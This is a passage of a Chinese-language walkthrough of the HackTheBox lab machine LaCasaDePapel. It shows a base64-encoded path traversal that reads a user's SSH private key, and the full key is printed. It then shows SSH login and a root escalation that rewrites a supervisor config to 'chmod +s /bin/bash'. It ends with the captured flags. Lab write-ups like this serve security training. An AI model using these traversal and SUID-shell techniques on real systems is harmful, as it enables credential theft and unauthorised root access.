                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/Desktop]
└─# openssl x509 -req -days 365 -in server.csr -signkey ca.key -out server.crt
Certificate request self-signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/Desktop]
└─# openssl pkcs12 -export -in server.crt -inkey ca.key -out server.p12
Enter Export Password:
Verifying - Enter Export Password:

ok,这样我们就生成了我们需要的证书

然后我们去浏览器导入我们的 p12 证书

Hackthebox - LaCasaDePapel 靶场实战

ok,成功导入后我们就可以访问了

Hackthebox - LaCasaDePapel 靶场实战
Hackthebox - LaCasaDePapel 靶场实战

鼠标放上去就可以看到左下角出现了 https://10.10.10.131/?path=SEASON-1

这很明显有 lfi 了吧

Hackthebox - LaCasaDePapel 靶场实战

成功包含到目录,我们去尝试一下获取 ssh 的密钥

Hackthebox - LaCasaDePapel 靶场实战

但是直接获取会出错,我们去看一下他的文件格式是怎样的

Hackthebox - LaCasaDePapel 靶场实战

似乎是转换为 base64 的

┌──(root㉿kali)-[~/Desktop]
└─# echo U0VBU09OLTEvMDEuYXZp|base64 -d             
SEASON-1/01.avi

是的,是 base64,那我们也把需要读取的文件名转换为 base64 就好了

┌──(root㉿kali)-[~/Desktop]
└─# echo -n ../.ssh/id_rsa|base64
Li4vLnNzaC9pZF9yc2E=

然后再去读取

https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

成功获取到了密钥

┌──(root㉿kali)-[~/Desktop]
└─# ssh [email protected] -i id_rsa
[email protected]'s password: 

但是这里使用 berlin 账户登录却不行

┌──(root㉿kali)-[~/Desktop]
└─# ssh [email protected] -i id_rsa

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _   ___  |  _  __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _  | |_) / _` | '_  / _  |
| |__| (_| | | |__| (_| __  (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_______,_|  ______,_|___/__,_| |____/ ___| |_|   __,_| .__/ ___|_|
                                                            |_|       

lacasadepapel [~]$ whoami&&id
professor
uid=1002(professor) gid=1002(professor) groups=1002(professor)

最后使用 professor 用户倒是成功进去了

权限提升

lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x 4 professor professor 4096 Mar  6  2019 .
drwxr-xr-x 7 root      root      4096 Feb 16  2019 ..
lrwxrwxrwx 1 root      professor    9 Nov  6  2018 .ash_history -> /dev/null
drwx------ 2 professor professor 4096 Jan 31  2019 .ssh
-rw-r--r-- 1 root      root        88 Jan 29  2019 memcached.ini
-rw-r----- 1 root      nobody     434 Jan 29  2019 memcached.js
drwxr-sr-x 9 root      professor 4096 Oct  3 13:13 node_modules

这边看到有一个 memcached.ini 的文件,是属于 root 的,但是在我们的目录,那和肯定是有关的,恰巧我们有读取权限,去看一下内容

lacasadepapel [~]$ cat memcached.ini 
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

会使用 sudo 权限调用 nobody 用户使用 node 执行 memcached.js 文件?这套娃有点厉害

但是我们没有编辑权限,那么怎么办呢?直接给它删掉自己创建一个吧

[program:memcached]
command = chmod +s /bin/bash
lacasadepapel [~]$ ls -la /bin/bash
-rwxr-xr-x 1 root root 715008 May  1  2018 /bin/bash
lacasadepapel [~]$ ls -la /bin/bash
-rwsr-sr-x 1 root root 715008 May  1  2018 /bin/bash

稍等一会儿后,我们要的效果来了,提权去

lacasadepapel [~]$ /bin/bash -p
lacasadepapel [~]$ whoami&&id
root
uid=1002(professor) gid=1002(professor) euid=0(root) egid=0(root) groups=0(root),1002(professor)

成功提权到 root 权限

lacasadepapel [~]$ cat /home/berlin/user.txt 
f61519de2e8afee5a22f8de3a88a0e6b
lacasadepapel [~]$ cat /root/root.txt 
113f5e20d75aca2331511cdbe6319613

成功拿到 user 权限和 root 权限的 flag 文件


原文始发于微信公众号(路西菲尔的故事汇):Hackthebox - LaCasaDePapel 靶场实战

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  • 本文由 发表于 2023年1月9日23:53:28
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